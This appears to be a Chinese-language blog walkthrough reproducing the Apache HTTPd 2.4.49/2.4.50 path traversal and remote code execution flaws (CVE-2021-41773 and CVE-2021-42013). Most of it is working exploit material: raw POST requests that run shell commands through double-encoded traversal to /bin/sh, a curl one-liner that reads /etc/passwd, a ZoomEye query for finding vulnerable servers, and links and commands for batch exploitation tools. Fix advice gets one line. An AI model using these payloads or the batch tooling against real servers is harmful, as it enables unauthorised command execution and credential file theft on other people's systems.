給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
CVE-2021-41773漏洞描述:
Apache HTTPd是Apache基金會開源的一款流行的HTTP服務器。2021年10月8日Apache HTTPd官方發布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路徑穿越漏洞。由于對CVE-2021-41773 Apache HTTPd 2.4.49 路徑穿越漏洞的修復不完善,攻擊者可構造惡意請求繞過補丁,利用穿越漏洞讀取到Web目錄之外的其他文件。同時若Apache HTTPd開啟了cgi支持,攻擊者可構造惡意請求執行命令,控制服務器。
影響版本
Apache HTTPd 2.4.49/2.4.50版本
zoomeye語法
app:“apache web server 2.4.49 2.4.50”
復現過程:
環境搭建:
docker鏡像:
https://github.com/blasty/CVE-2021-41773
搭建效果:
rce復現:
抓包:
poc:
POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: your ip : port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 16 Oct 2021 07:06:04 GMT
If-None-Match: "29cd-5ce72f1ed2f00-gzip"
Cache-Control: max-age=0
Content-Length: 41echo Content-Type: text/plain; echo; ls
POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5ce4665e39700-gzip"
If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12echo; whoami
curl:
curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'
修復:
建議使用Apache HTTPd 2.4.49 與Apache HTTPd 2.4.50 版本的服務器更新Apache HTTPd 版本至最新。
批量利用檢測利用工具:
可視化界面工具
Github地址:
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013
PocSuite3工具
批量:
python3 .\cli.py -r .\pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -f 1.txt --verify
CVE-2021-42013 目錄穿越
漏洞成因:
Apache HTTP Server 2.4.50版本對CVE-2021-41773的修復可以避免一次url編碼導致的路徑穿越,但是由于在請求處理過程中,還會調用ap_unescape_url函數對參數再次進行解碼,仍然會導致路徑穿越。
在處理外部HTTP請求時,會調用 ap_process_request_internal函數對url路徑進行處理,在該函數中,首先會調用ap_normalize_path函數進行一次url解碼,之后會調用ap_unescape_url函數進行二次解碼,代碼如下:
觸發:
ip:port/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd